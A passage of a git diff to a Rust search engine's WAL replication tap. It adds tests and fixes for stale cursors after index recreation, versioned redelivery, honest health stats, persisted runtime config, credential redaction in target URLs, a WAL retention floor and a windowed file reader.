is 500 ms, so in production a+/// `DELETE` + `PUT` is essentially never observed as an absence, and a test+/// that inserts a poll there proves only that the hygiene path works. The+/// deletion itself has to drop the cursor.#[tokio::test(flavor = "multi_thread", worker_threads = 2)]async fn recreating_an_index_under_the_same_name_does_not_stall_the_tap() {let target = StubTarget::start().await;let dir = TempDir::new().unwrap();let engine = engine_with_tap(&dir, tap_config(&target.url, &["edge-logs"]));- write_docs(&engine, "edge-logs", &["1"]).await;+ // Enough documents that the surviving cursor is a long way into the file:+ // a one-document cursor could land back inside the recreated stream by+ // luck and hide the bug.+ let ids: Vec<String> = (1..=40).map(|i| format!("old-{i}")).collect();+ let refs: Vec<&str> = ids.iter().map(String::as_str).collect();+ write_docs(&engine, "edge-logs", &refs).await;engine.wal_tap.tick(&engine).await;- assert_eq!(target.indexed_ids("edge-logs"), vec!["1"]);+ assert_eq!(target.indexed_ids("edge-logs").len(), 40);+ let stale_offset = engine.wal_tap.cursors()["edge-logs"]+ .values()+ .map(|c| c.offset)+ .max()+ .unwrap_or(0);+ assert!(+ stale_offset > 16,+ "the cursor must actually be somewhere inside the WAL for this to mean anything"+ );+ // Delete and recreate WITHOUT a poll in between — one 500 ms interval.engine.delete_index("edge-logs").await.unwrap();- // The tick that observes the deletion forgets the stale cursor.- engine.wal_tap.tick(&engine).await;assert!(!engine.wal_tap.cursors().contains_key("edge-logs"),- "the cursor of a deleted index must not outlive it"+ "the deletion itself must drop the cursor: a poll would not see this"+ );+ write_docs(&engine, "edge-logs", &["new-1", "new-2"]).await;++ engine.wal_tap.tick(&engine).await;++ let shipped = target.indexed_ids("edge-logs");+ assert!(+ shipped.contains(&"new-1".to_string()) && shipped.contains(&"new-2".to_string()),+ "every document of the recreated index must ship — the stale byte offset {stale_offset} \+ either skipped them silently or wedged the shard: {shipped:?}"+ );+ let stats = engine.wal_tap.stats();+ let edge = stats.get("edge-logs").expect("stats for edge-logs");+ assert!(+ edge.last_error.is_none() && edge.healthy(),+ "the recreated index must be healthy, got {:?}",+ edge.last_error+ );+}++/// The storage-level half of the same failure, for a delete this process never+/// saw — the node was down when the index was dropped and recreated, so+/// `forget_index` never ran and the persisted cursor outlives its stream.+///+/// A WAL generation file is append-only, so an offset past its end can only+/// mean "different stream". Before this check the reader clamped the offset to+/// EOF and reported a clean drain: every document skipped, `gaps` still 0.+#[tokio::test(flavor = "multi_thread", worker_threads = 2)]+async fn a_cursor_past_the_end_of_its_generation_is_a_gap_not_a_silent_skip() {+ let target = StubTarget::start().await;+ let dir = TempDir::new().unwrap();+ let engine = engine_with_tap(&dir, tap_config(&target.url, &["edge-logs"]));++ let ids: Vec<String> = (1..=40).map(|i| format!("old-{i}")).collect();+ let refs: Vec<&str> = ids.iter().map(String::as_str).collect();+ write_docs(&engine, "edge-logs", &refs).await;+ engine.wal_tap.tick(&engine).await;+ assert_eq!(target.indexed_ids("edge-logs").len(), 40);+ let cursors = engine.wal_tap.cursors()["edge-logs"].clone();++ // Recreate the index, then put the OLD cursor back — exactly the state a+ // restart finds after an offline delete/recreate.+ engine.delete_index("edge-logs").await.unwrap();+ write_docs(&engine, "edge-logs", &["new-1", "new-2"]).await;+ engine+ .wal_tap+ .restore_cursors_for_test("edge-logs", cursors);++ engine.wal_tap.tick(&engine).await;++ let shipped = target.indexed_ids("edge-logs");+ assert!(+ shipped.contains(&"new-1".to_string()) && shipped.contains(&"new-2".to_string()),+ "a cursor past EOF must restart the stream, not clamp to EOF and skip: {shipped:?}"+ );+ assert!(+ engine.wal_tap.stats()["edge-logs"].gaps > 0,+ "…and it must be REPORTED as a gap, not absorbed silently"+ );+}++/// The design's central safety claim, which had zero coverage: at-least-once+/// delivery is only safe because `version_type: external` makes a redelivery+/// converge instead of resurrecting an older document.+///+/// The `AlwaysAccept` stub every other test uses answers a hardcoded+/// `{"errors":false,"items":[]}`, which makes the entire `errors == true`+/// branch of `send_bulk` dead code — so this one implements the actual ES+/// external-versioning rule and forces a real redelivery through it.+#[tokio::test(flavor = "multi_thread", worker_threads = 2)]+async fn redelivery_converges_at_a_target_that_honours_external_versioning() {+ let target = StubTarget::start_with(TargetSemantics::ExternalVersioning).await;+ let dir = TempDir::new().unwrap();+ let mut tap = tap_config(&target.url, &["edge-logs"]);+ // Two documents per request, so a failure part-way through a poll leaves+ // earlier chunks landed and forces the retry to re-send them.+ tap.max_batch_bytes = 200;+ tap.max_retry_backoff_secs = 1;+ let engine = engine_with_tap(&dir, tap);++ write_docs(&engine, "edge-logs", &["a", "b", "c", "d"]).await;+ engine.wal_tap.tick(&engine).await;+ let after_first = target.stored_versions();+ assert_eq!(+ after_first.len(),+ 4,+ "all four documents must reach the target: {after_first:?}"+ );++ // Force the redelivery the at-least-once contract permits: rewind the+ // cursor to the start of the stream and poll again. Every action is+ // re-sent with the same seq_no as its external version.+ engine.wal_tap.rewind_for_test("edge-logs");+ engine.wal_tap.tick(&engine).await;++ let after_redelivery = target.stored_versions();+ assert_eq!(+ after_redelivery, after_first,+ "a redelivery must be a no-op at the target, not a resurrection: {after_redelivery:?}"+ );++ let stats = engine.wal_tap.stats();+ let edge = stats.get("edge-logs").expect("stats");+ assert!(+ edge.version_conflicts >= 4,+ "the redelivered actions must be REPORTED as conflicts, not silently counted as \+ shipped (got {})",+ edge.version_conflicts+ );+ assert_eq!(+ edge.item_failures, 0,+ "a version conflict is not a rejection — it must never be counted as one"+ );+}++/// A target that holds a higher version for every `_id` — a second writer got+/// there first — turns every action into a rejected no-op. `_stats` used to+/// call that healthy with `lag_seq: 0` and a climbing `docs_shipped`, because+/// the counters came from what was RENDERED rather than from what the target+/// said it took.+#[tokio::test(flavor = "multi_thread", worker_threads = 2)]+async fn a_target_that_rejects_every_action_is_reported_unhealthy_with_real_lag() {+ let target = StubTarget::start_with(TargetSemantics::ExternalVersioningAheadBy(1_000)).await;+ let dir = TempDir::new().unwrap();+ let engine = engine_with_tap(&dir, tap_config(&target.url, &["edge-logs"]));++ // Enough polls to cross the "this is not one absorbed redelivery" line.+ for round in 0..5 {+ write_docs(&engine, "edge-logs", &[&format!("d{round}")]).await;+ engine.wal_tap.tick(&engine).await;+ }++ let stats = engine.wal_tap.stats();+ let edge = stats.get("edge-logs").expect("stats for edge-logs");+ assert!(+ target.request_count() >= 5,+ "the tap must actually have tried: {}",+ target.request_count()+ );+ assert_eq!(+ edge.docs_shipped, 0,+ "nothing was accepted, so nothing may be counted as shipped"+ );+ assert_eq!(+ edge.last_shipped_seq, 0,+ "the watermark must come from ACCEPTED items — it is what lag_seq is computed \+ from, and reporting zero lag while replicating nothing is the whole bug"+ );+ assert!(+ edge.version_conflicts >= 5,+ "the conflicts must be counted: {}",+ edge.version_conflicts+ );+ assert!(+ !edge.healthy(),+ "a target rejecting every action must not read as healthy"+ );+ assert!(+ edge.last_error+ .as_deref()+ .unwrap_or_default()+ .contains("version_conflict"),+ "the operator must be told WHY: {:?}",+ edge.last_error+ );++ let head = engine+ .get_index("edge-logs")+ .unwrap()+ .current_seq_no()+ .saturating_sub(1);+ assert!(+ head > edge.last_shipped_seq,+ "lag must be non-zero (head {head}, watermark {})",+ edge.last_shipped_seq+ );+}++/// `PUT /_xerj/wal_tap` advertises "runtime config, no restart". That implied+/// a durability that did not exist: the value lived only in an in-memory+/// `RwLock`, so a restart reverted the tap to the file config — normally+/// `enabled = false` — while cursors froze and WAL pruning carried on.+#[tokio::test(flavor = "multi_thread", worker_threads = 2)]+async fn a_runtime_configuration_survives_a_restart() {+ let target = StubTarget::start().await;+ let dir = TempDir::new().unwrap();++ // Boot from a file config with the tap OFF, as an operator's node would be.+ {+ let engine = engine_with_tap(&dir, WalTapConfig::default());+ assert!(!engine.wal_tap.config().enabled);+ engine+ .wal_tap+ .set_config(tap_config(&target.url, &["edge-*"]));+ write_docs(&engine, "edge-logs", &["1"]).await;+ engine.wal_tap.tick(&engine).await;+ assert_eq!(target.indexed_ids("edge-logs"), vec!["1"]);+ }++ // Restart with the same (still-off) file config.+ let engine = engine_with_tap(&dir, WalTapConfig::default());+ let config = engine.wal_tap.config();+ assert!(+ config.enabled && config.indices == vec!["edge-*".to_string()],+ "the configuration set at runtime must outlive the process that took it, got {config:?}");+ assert!(engine.wal_tap.has_runtime_config());write_docs(&engine, "edge-logs", &["2"]).await;engine.wal_tap.tick(&engine).await;assert!(target.indexed_ids("edge-logs").contains(&"2".to_string()),- "a recreated index must keep shipping: {:?}",+ "…and it must still be shipping after the restart: {:?}",target.actions());++ // And the overlay is droppable, or one API call would shadow xerj.toml+ // forever.+ engine.wal_tap.clear_runtime_config(WalTapConfig::default());+ assert!(!engine.wal_tap.config().enabled);+ assert!(!engine.wal_tap.has_runtime_config());+}++/// Cursor state used to be serialised and durably rewritten in full on every+/// cursor advance — once per index per poll, from three call sites in+/// `poll_index` plus `forget_deleted`. At N allowlisted indices that is O(N²)+/// bytes and 2N fsyncs per tick, at a 500 ms default, on a node+/// `index_store.rs:806-813` records reaching 9,382 indices. `indices = ["*"]`+/// walked straight into it.+///+/// The cost of a tick must not scale with the allowlist.+#[tokio::test(flavor = "multi_thread", worker_threads = 2)]+async fn cursor_state_is_written_once_per_tick_not_once_per_index() {+ let target = StubTarget::start().await;+ let dir = TempDir::new().unwrap();+ let engine = engine_with_tap(&dir, tap_config(&target.url, &["edge-*"]));++ const INDICES: usize = 12;+ for i in 0..INDICES {+ write_docs(&engine, &format!("edge-{i}"), &["a", "b"]).await;+ }++ let before = engine.wal_tap.persists();+ engine.wal_tap.tick(&engine).await;+ let writes = engine.wal_tap.persists() - before;++ assert!(+ target.request_count() >= INDICES,+ "every index must actually have shipped: {}",+ target.request_count()+ );+ assert_eq!(+ writes, 1,+ "one tick over {INDICES} indices must cost ONE durable state write, not one \+ per index (got {writes})"+ );++ // …and the cursors are still durable: a restart resumes rather than+ // re-ships. Deferring the write may only ever cause a redelivery, which+ // external versioning absorbs; it must never lose a position.+ let shipped_before = target.request_count();+ drop(engine);+ let engine = engine_with_tap(&dir, tap_config(&target.url, &["edge-*"]));+ engine.wal_tap.tick(&engine).await;+ assert_eq!(+ target.request_count(),+ shipped_before,+ "a deferred flush must still be a flush — nothing may be re-shipped after a restart"+ );++ // An idle tick writes nothing at all.+ let idle_before = engine.wal_tap.persists();+ engine.wal_tap.tick(&engine).await;+ assert_eq!(+ engine.wal_tap.persists(),+ idle_before,+ "an idle poll must not rewrite the state file"+ );+}++/// The credential must not be readable back out of the config surface, and+/// `https://user:pass@host` is the spelling that got round the `target_auth`+/// omission — `reqwest` turns URL userinfo into a `Basic` header.+#[test]+fn a_target_url_carrying_credentials_is_refused_and_redacted() {+ assert!(WalTapConfig::check_target_url("https://central:9200").is_ok());+ assert!(WalTapConfig::check_target_url("").is_ok());+ assert!(WalTapConfig::check_target_url("central:9200").is_err());++ let reason = WalTapConfig::check_target_url("https://user:hunter2@central:9200")+ .expect_err("userinfo must be refused");+ assert!(+ reason.contains("target_auth"),+ "the error must point at the field that exists for this: {reason}"+ );+ // A path containing `@` is not userinfo and must still be accepted.+ assert!(WalTapConfig::check_target_url("https://central:9200/a@b").is_ok());++ let config = WalTapConfig {+ target_url: "https://user:hunter2@central:9200".into(),+ ..Default::default()+ };+ let shown = config.redacted_target_url();+ assert!(+ !shown.contains("hunter2") && shown.contains("central:9200"),+ "a URL that reached the process another way must still not be readable back: {shown}"+ );++ // A whole-node config carrying one refuses to start.+ let mut whole = Config::default();+ whole.wal_tap.target_url = "http://user:pw@central:9200".into();+ assert!(+ whole.validate().is_err(),+ "a credential-bearing target_url must fail startup, not reach the boot log"+ );}/// `_stats` is the honesty surface, so `lag_seq` must not lie in the one casediff --git a/engine/crates/xerj-server/src/main.rs b/engine/crates/xerj-server/src/main.rsindex 80a49f197..0144fa54b 100644--- a/engine/crates/xerj-server/src/main.rs+++ b/engine/crates/xerj-server/src/main.rs@@ -2242,7 +2242,10 @@ async fn async_main() -> Result<()> {if tap.config().enabled {let cfg = tap.config();info!(- target = %cfg.target_url,+ // Redacted: a `user:pass@host` URL is refused at startup, but+ // a log line is the wrong place to find out that one slipped+ // through some other path.+ target = %cfg.redacted_target_url(),indices = ?cfg.indices,poll_interval_ms = cfg.poll_interval_ms,"WAL tap enabled — pushing to an external ES-compatible target \diff --git a/engine/crates/xerj-storage/src/index_store.rs b/engine/crates/xerj-storage/src/index_store.rsindex 0df42ba8c..d5f494c42 100644--- a/engine/crates/xerj-storage/src/index_store.rs+++ b/engine/crates/xerj-storage/src/index_store.rs@@ -335,6 +335,16 @@ pub struct IndexStoreConfig {/// When > 1, each shard gets its own WAL file (`wal_s{N}/`) for/// parallel writes without cross-shard mutex contention.pub num_wal_shards: usize,+ /// Rotated WAL generations kept per shard even once every entry in them+ /// is durable in a segment (default: `0` — prune as soon as it is safe).+ ///+ /// This is the retention floor a WAL consumer needs: with the default,+ /// `prune_verified` deletes a rotated generation the moment a flush makes+ /// it redundant, so a #320 tap whose target is down for longer than one+ /// flush interval loses entries. Raising it buys the consumer that much+ /// slack at a cost bounded by `n * wal_max_size_bytes` per shard — a+ /// floor, never a lease, so a stalled consumer still cannot fill the disk.+ pub wal_min_retained_generations: u64,}/// A raw JSON batch that has been completely validated before publication.@@ -409,6 +419,7 @@ impl Default for IndexStoreConfig {schema_version: 1,storage_mode: StorageMode::Local,num_wal_shards: 1,+ wal_min_retained_generations: 0,}}}@@ -657,12 +668,15 @@ impl IndexStore {std::fs::create_dir_all(&d)?;d};- let w = WalWriter::open(+ let mut w = WalWriter::open(&shard_dir,config.wal_max_size_bytes,config.sync_mode,Arc::clone(&seq_counter),)?;+ // Retention floor for WAL consumers (#320). Zero by default, so+ // this is a no-op unless an operator has asked for slack.+ w.set_min_retained_generations(config.wal_min_retained_generations);let shard = Arc::new(Mutex::new(w));// Issue #334 — register with the shared, event-driven fsync// scheduler instead of spawning a thread per store. Nothing isdiff --git a/engine/crates/xerj-storage/src/wal.rs b/engine/crates/xerj-storage/src/wal.rsindex 87091eea2..a5e40513e 100644--- a/engine/crates/xerj-storage/src/wal.rs+++ b/engine/crates/xerj-storage/src/wal.rs@@ -66,7 +66,7 @@//! generation holding even one acked-but-unflushed entry is retained.use std::fs::{self, File, OpenOptions};-use std::io::{self, BufWriter, Read, Write};+use std::io::{self, BufWriter, Read, Seek, SeekFrom, Write};use std::path::{Path, PathBuf};use std::sync::atomic::{AtomicU64, Ordering};use std::sync::Arc;@@ -342,6 +342,19 @@ pub struct WalWriter {/// append first re-attempts the fresh-generation heal so the writer/// self-recovers once space frees up.poisoned: bool,+ /// Rotated generations [`prune_verified`](Self::prune_verified) must keep+ /// even when every entry in them is proven durable — the retention floor+ /// a WAL consumer (the #320 tap) needs to survive a target outage.+ ///+ /// `0` (the default) is the historical behaviour: retention never waits+ /// for anyone. Anything above it is a *bounded* floor, not a lease: the+ /// extra cost is at most `n * wal_max_size_mb` per shard whatever the+ /// consumer does, so a stalled consumer can never fill the disk. That+ /// bound is the whole difference from Elasticsearch's retention leases+ /// (`ReplicationTracker.addRetentionLease`), which hold translog+ /// generations for an unbounded time and are why a dead follower can+ /// wedge a leader's disk.+ min_retained_generations: u64,/// Shared sequence number counter — also used by the index store.pub seq_counter: Arc<AtomicU64>,}@@ -458,10 +471,21 @@ impl WalWriter {dirty: false,sync_handle: None,poisoned: false,+ min_retained_generations: 0,seq_counter,})}+ /// Set the retention floor: rotated generations `prune_verified` keeps+ /// even when it can prove every entry in them durable.+ ///+ /// Set once by [`crate::index_store::IndexStore::open`] from+ /// `wal_tap.min_retained_generations`, right after the writer is placed+ /// in its `Arc`.+ pub fn set_min_retained_generations(&mut self, n: u64) {+ self.min_retained_generations = n;+ }+/// Install (or clear) this shard's registration with the batched-fsync/// scheduler. Set once, right after the writer is placed in its `Arc`/// by [`crate::index_store::IndexStore::open`].@@ -1035,7 +1059,22 @@ impl WalWriter {/// Returns the number of generations pruned.pub fn prune_verified(&self, verify: &dyn Fn(&WalEntry, SeqNo) -> bool) -> Result<usize> {let mut pruned = 0usize;- for gen in self.rotated_generations()? {+ let rotated = self.rotated_generations()?;+ // Retention floor (#320): keep the newest `min_retained_generations`+ // rotated files whatever the verifier says, so a WAL consumer that is+ // briefly behind — a tap whose target is down for a minute — still+ // finds its entries. `rotated_generations` is sorted ascending, so+ // dropping the tail keeps the NEWEST ones.+ let keep = self.min_retained_generations.min(rotated.len() as u64) as usize;+ let prunable = rotated.len() - keep;+ if keep > 0 {+ debug!(+ keep,+ rotated = rotated.len(),+ "WAL retention floor: holding the newest rotated generations for consumers"+ );+ }+ for gen in rotated.into_iter().take(prunable) {let (gen_entries, clean) = self.read_generation_entries(gen);if !clean {// Undecodable bytes — cannot prove them durable; keep the@@ -1771,10 +1810,18 @@ pub fn tail_shard(dir: &Path, cursor: Option<WalTailCursor>, max_entries: usize)// Never pruned: the files on disk are the entire history, so read it.None if first == 0 => WalTailCursor::start_of(0),// Pruned before: start at the end rather than ship an arbitrary slice.- // Walk the newest generation to find its last frame boundary and throw- // the entries away — paid once, when a tap first sees the stream.+ // Walk the newest generation to find its last frame boundary — paid+ // once, when a tap first sees the stream, and with `collect = false`+ // so it costs a boundary walk rather than decoding every frame in the+ // file into entries that are then thrown away.None => {- let scan = tail_wal_file(&wal_path(dir, newest), WAL_HEADER_LEN, false, usize::MAX);+ let scan = tail_wal_file(+ &wal_path(dir, newest),+ WAL_HEADER_LEN,+ false,+ usize::MAX,+ false,+ );return WalShardTail {entries: Vec::new(),cursor: WalTailCursor {@@ -1807,6 +1854,38 @@ pub fn tail_shard(dir: &Path, cursor: Option<WalTailCursor>, max_entries: usize)(cursor.generation, cursor.offset, false)};+ // The generation number can agree and the stream still be a different one.+ // Delete-and-recreate under the same name restarts the WAL at generation+ // 0, so a cursor sitting at (0, 4096) survives the `cursor.generation >+ // newest` check above and resumes at byte 4096 of a file that has nothing+ // to do with it. A WAL generation file is append-only and is never+ // truncated below a boundary a consumer could have reached+ // (`WalTailScan::TornTail` only discards bytes AFTER the last valid+ // frame), so `offset > len` is a sound, false-positive-free witness that+ // this cursor belongs to a stream that no longer exists.+ //+ // Without this the reader clamped the offset to EOF and reported a clean+ // drain: every document written to the recreated index was skipped+ // silently, `gap` stayed false and `_stats` showed a healthy tap.+ let (start_gen, start_off, gap) = if !gap+ && fs::metadata(wal_path(dir, start_gen))+ .map(|m| m.len())+ .unwrap_or(u64::MAX)+ < start_off+ {+ warn!(+ ?dir,+ generation = start_gen,+ offset = start_off,+ "WAL tap: cursor points past the end of its generation — the stream was \+ replaced (index deleted and recreated, or data directory rolled back). \+ Restarting from the oldest surviving generation."+ );+ (first, WAL_HEADER_LEN, true)+ } else {+ (start_gen, start_off, gap)+ };+let mut entries: Vec<ReplayEntry> = Vec::new();let mut corrupt_skipped = 0usize;let mut truncated = false;@@ -1823,14 +1902,22 @@ pub fn tail_shard(dir: &Path, cursor: Option<WalTailCursor>, max_entries: usize)WAL_HEADER_LEN};// A rotated generation will never grow again, so a corrupt region in- // it is permanent: resync past it exactly like replay does. The- // newest generation is still being appended to, so a bad frame at its- // tail is almost certainly a half-written one — stop and re-read it- // on the next poll instead of resyncing over a frame that is about to- // become valid.+ // it is permanent: resync past it exactly like replay does, and treat+ // a torn tail as the end of the file. The newest generation is still+ // being appended to, so a bad frame at its tail is almost certainly a+ // half-written one — re-read it on the next poll rather than resync+ // over a frame that is about to become valid.+ //+ // "Almost certainly" is doing real work there, which is why this flag+ // no longer decides the whole question: a half-written frame is by+ // construction the LAST thing in the file, so if a complete valid+ // frame exists after the bad bytes they are not a partial tail, and+ // `tail_wal_file` resyncs in the active generation too. Holding the+ // boundary unconditionally is what wedged a shard forever on a cursor+ // that had landed mid-frame in a stream replaced underneath it.let allow_resync = gen != newest;let budget = max_entries.saturating_sub(entries.len());- let scan = tail_wal_file(&wal_path(dir, gen), from, allow_resync, budget);+ let scan = tail_wal_file(&wal_path(dir, gen), from, allow_resync, budget, true);corrupt_skipped += scan.corrupt;entries.extend(scan.entries);@@ -1866,13 +1953,149 @@ struct FileTail {corrupt: usize,}+/// How much one buffer refill pulls in.+///+/// Sized like [`WAL_BUF_CAP`] on the writer side: big enough that a caught-up+/// reader picks up a burst of small frames in one `read`, small enough that a+/// poll over an idle 1 GiB generation costs one 16-byte header read and+/// nothing else.+const WAL_TAIL_READ_CHUNK: usize = 64 * 1024;++/// Bytes of frame header needed before the payload length is known:+/// `len(4) + seq_no(8) + op(1)`.+const WAL_FRAME_HEADER_LEN: usize = 13;++/// A sliding window over one WAL file, read forward from a byte offset.+///+/// This exists so a tail poll costs O(bytes *appended since the last poll*)+/// instead of O(file). A tap polling 16 shards every 500 ms with a 30 s flush+/// window would otherwise re-read the node's entire live ingest volume ~60+/// times per shard per flush cycle — the same read-amplification class as the+/// RC4 W1 #8 `wal_prune_cache` follow-up recorded in+/// `index_store.rs:571-584`.+///+/// Shape taken from Lucene's `BufferedIndexInput`+/// (`lucene/core/src/java/org/apache/lucene/store/BufferedIndexInput.java:289-317`,+/// `refill`): a bounded window whose absolute position is `bufferStart ++/// buffer.position()`, with the read length clamped to the file length so it+/// never reads past EOF. The compaction step — carry the unconsumed remainder+/// to the front, then read into the tail — is+/// `SegmentingTokenizerBase.refill`+/// (`lucene/analysis/common/src/java/org/apache/lucene/analysis/util/SegmentingTokenizerBase.java:124-147`).+/// Apache-2.0, same licence as this repository; adapted, not copied.+struct WalWindow {+ file: File,+ /// Total file length, sampled once at open. A WAL file only ever grows,+ /// so a stale-but-smaller value can never make the reader run past real+ /// data — it only defers it to the next poll.+ len: u64,+ /// Absolute file offset of `buf[0]`.+ base: u64,+ buf: Vec<u8>,+ /// Read position inside `buf`.+ cur: usize,+}++impl WalWindow {+ fn open(path: &Path) -> io::Result<Self> {+ let file = File::open(path)?;+ let len = file.metadata()?.len();+ Ok(Self {+ file,+ len,+ base: 0,+ buf: Vec::new(),+ cur: 0,+ })+ }++ /// Absolute offset of the read position.+ fn pos(&self) -> u64 {+ self.base + self.cur as u64+ }++ /// Discard the window and restart it at absolute offset `off`.+ fn seek_to(&mut self, off: u64) {+ self.base = off;+ self.buf.clear();+ self.cur = 0;+ }++ fn available(&self) -> usize {+ self.buf.len() - self.cur+ }++ /// Make at least `need` bytes readable at the cursor, pulling more of the+ /// file in if necessary. `false` means the file ends first.+ fn fill(&mut self, need: usize) -> bool {+ if self.available() >= need {+ return true;+ }+ // Compact: the consumed prefix can never be needed again.+ if self.cur > 0 {+ self.buf.drain(..self.cur);+ self.base += self.cur as u64;+ self.cur = 0;+ }+ while self.buf.len() < need {+ let read_from = self.base + self.buf.len() as u64;+ if read_from >= self.len {+ return false;+ }+ let want = (need - self.buf.len()).max(WAL_TAIL_READ_CHUNK);+ let want = want.min((self.len - read_from) as usize);+ let start = self.buf.len();+ self.buf.resize(start + want, 0);+ if self.file.seek(SeekFrom::Start(read_from)).is_err() {+ self.buf.truncate(start);+ return false;+ }+ match self.file.read(&mut self.buf[start..]) {+ Ok(0) => {+ self.buf.truncate(start);+ return false;+ }+ Ok(n) => self.buf.truncate(start + n),+ Err(e) if e.kind() == io::ErrorKind::Interrupted => self.buf.truncate(start),+ Err(_) => {+ self.buf.truncate(start);+ return false;+ }+ }+ }+ true+ }++ /// Pull the rest of the file into the window.+ ///+ /// Only the resync path calls this: [`scan_next_valid_frame`] needs a+ /// contiguous buffer to walk, and corruption is exceptional. The+ /// steady-state path never gets here, which is the whole point of the+ /// window.+ fn fill_to_end(&mut self) {+ let remaining = self.len.saturating_sub(self.pos());+ self.fill(remaining as usize);+ }+}+/// Read frames from `path` starting at `from_offset`, at most `budget` of them.////// Frames are returned in append order. `end_offset` always lands on a frame/// boundary, so the caller can persist it and resume from exactly there.-fn tail_wal_file(path: &Path, from_offset: u64, allow_resync: bool, budget: usize) -> FileTail {- let buf = match fs::read(path) {- Ok(b) => b,+///+/// `collect = false` walks the same boundaries without decoding any payload —+/// what positioning a brand-new cursor at the end of an established stream+/// needs, and it skips the lz4 + serde work (and the `Vec<ReplayEntry>`) for+/// every frame in the file.+fn tail_wal_file(+ path: &Path,+ from_offset: u64,+ allow_resync: bool,+ budget: usize,+ collect: bool,+) -> FileTail {+ let mut win = match WalWindow::open(path) {+ Ok(w) => w,Err(e) if e.kind() == io::ErrorKind::NotFound => {// Pruned between listing and reading. Treat as finished so the// caller moves on to the next generation.@@ -1896,7 +2119,8 @@ fn tail_wal_file(path: &Path, from_offset: u64, allow_resync: bool, budget: usiz}};- if buf.len() < WAL_HEADER_LEN as usize || &buf[..4] != WAL_MAGIC {+ win.seek_to(0);+ if !win.fill(WAL_HEADER_LEN as usize) || &win.buf[..4] != WAL_MAGIC {return FileTail {entries: Vec::new(),end_offset: from_offset.max(WAL_HEADER_LEN),@@ -1905,92 +2129,137 @@ fn tail_wal_file(path: &Path, from_offset: u64, allow_resync: bool, budget: usizcorrupt: 0,};}- let generation = u64::from_le_bytes(buf[4..12].try_into().unwrap());+ let generation = u64::from_le_bytes(win.buf[4..12].try_into().unwrap());++ // A resume offset past the end is the caller's problem to classify (see+ // `tail_shard`); clamping here is what silently skipped a recreated+ // index's whole WAL, so refuse to move rather than clamp.+ let start = from_offset.max(WAL_HEADER_LEN);+ if start > win.len {+ return FileTail {+ entries: Vec::new(),+ end_offset: start,+ drained: false,+ truncated: false,+ corrupt: 0,+ };+ }+ win.seek_to(start);- let mut off = (from_offset.max(WAL_HEADER_LEN) as usize).min(buf.len());- let mut entries = Vec::new();+ let mut entries: Vec<ReplayEntry> = Vec::new();+ let mut read = 0usize;let mut corrupt = 0usize;loop {- if entries.len() >= budget {+ if collect && read >= budget {return FileTail {entries,- end_offset: off as u64,+ end_offset: win.pos(),drained: false,truncated: true,corrupt,};}- match parse_raw_frame(&buf, off) {- RawFrame::End => {- return FileTail {- entries,- end_offset: off as u64,- drained: true,- truncated: false,- corrupt,+ if win.pos() >= win.len {+ return FileTail {+ entries,+ end_offset: win.pos(),+ drained: true,+ truncated: false,+ corrupt,+ };+ }++ // Enough bytes to know how long this frame claims to be?+ let framed = win.fill(WAL_FRAME_HEADER_LEN) && {+ let entry_len =+ u32::from_le_bytes(win.buf[win.cur..win.cur + 4].try_into().unwrap_or([0; 4]));+ entry_len <= WAL_MAX_ENTRY_LEN+ && win.fill(WAL_FRAME_OVERHEAD + entry_len as usize)+ && matches!(parse_raw_frame(&win.buf, win.cur), RawFrame::Frame { .. })+ };++ if !framed {+ // Not a frame. In a rotated generation that is permanent damage+ // and replay's boundary resync applies. In the ACTIVE generation+ // the usual cause is a half-written frame at the tail — but a+ // half-written frame is by construction the LAST thing in the+ // file (`write_one_frame_inner` drains whole frames), so if a+ // complete valid frame exists *after* this point these bytes are+ // not a partial tail. Holding the boundary there is what wedged a+ // cursor forever on a stream that had been replaced underneath+ // it; resync instead and count it.+ win.fill_to_end();+ match scan_next_valid_frame(&win.buf, win.cur + 1) {+ Some(next) => {+ let at = win.pos();+ let resync_at = win.base + next as u64;+ warn!(+ generation,+ offset = at,+ resync_at,+ active = !allow_resync,+ "WAL tap: corrupt region — entries in the gap cannot be shipped"+ );+ corrupt += 1;+ win.cur = next;}- }- RawFrame::Corrupt => {- if !allow_resync {- // Active generation: a half-written frame completes on- // the writer's next flush. Hold the boundary.+ None if allow_resync => {+ // Torn tail on a file that will never grow again.+ corrupt += 1;return FileTail {entries,- end_offset: off as u64,- drained: false,+ end_offset: win.pos(),+ drained: true,truncated: false,corrupt,};}- match scan_next_valid_frame(&buf, off + 1) {- Some(next) => {- warn!(- generation,- offset = off,- resync_at = next,- "WAL tap: corrupt region in a rotated generation — entries in \- the gap cannot be shipped"- );- corrupt += 1;- off = next;- }- None => {- // Torn tail on a file that will never grow again.- corrupt += 1;- return FileTail {- entries,- end_offset: off as u64,- drained: true,- truncated: false,- corrupt,- };- }+ None => {+ // Active generation, nothing valid beyond: a genuine+ // half-written frame. It completes on the writer's next+ // flush — hold the boundary.+ return FileTail {+ entries,+ end_offset: win.pos(),+ drained: false,+ truncated: false,+ corrupt,+ };}}- RawFrame::Frame {- seq_no,- op_code,- payload,- end,- } => {- let this_offset = off as u64;- off = end;- match decode_frame_payload(op_code, payload, generation, this_offset) {- FrameDecode::Entry(entry) => entries.push(ReplayEntry {- seq_no,- entry,- file_offset: this_offset,- }),- FrameDecode::UnknownOp => {}- FrameDecode::Bad(e) => {- warn!(generation, offset = this_offset, error = %e,- "WAL tap: undecodable frame — skipped");- corrupt += 1;- }+ continue;+ }++ let RawFrame::Frame {+ seq_no,+ op_code,+ payload,+ end,+ } = parse_raw_frame(&win.buf, win.cur)+ else {+ unreachable!("`framed` already proved this parses as a frame");+ };+ let this_offset = win.pos();+ let consumed = end - win.cur;++ if collect {+ match decode_frame_payload(op_code, payload, generation, this_offset) {+ FrameDecode::Entry(entry) => entries.push(ReplayEntry {+ seq_no,+ entry,+ file_offset: this_offset,+ }),+ FrameDecode::UnknownOp => {}+ FrameDecode::Bad(e) => {+ warn!(generation, offset = this_offset, error = %e,+ "WAL tap: undecodable frame — skipped");+ corrupt += 1;}}}+ read += 1;+ win.cur += consumed;}}@@ -2969,6 +3238,209 @@ mod tests {assert_eq!(tail.cursor.generation, 0);}+ /// The delete-and-recreate case the generation check above CANNOT catch:+ /// the new stream restarts at generation 0, so the cursor's generation is+ /// not "past every generation" — it agrees exactly, and only the byte+ /// offset is nonsense.+ ///+ /// Pre-fix the reader clamped that offset to EOF and reported a clean+ /// drain: every document in the recreated index was skipped, `gap` stayed+ /// false and the consumer's stats showed a healthy stream. WAL files are+ /// append-only, so `offset > len` is an exact witness.+ #[test]+ fn a_cursor_past_the_end_of_generation_zero_is_a_gap_not_a_silent_skip() {+ let dir = tempfile::tempdir().unwrap();+ let 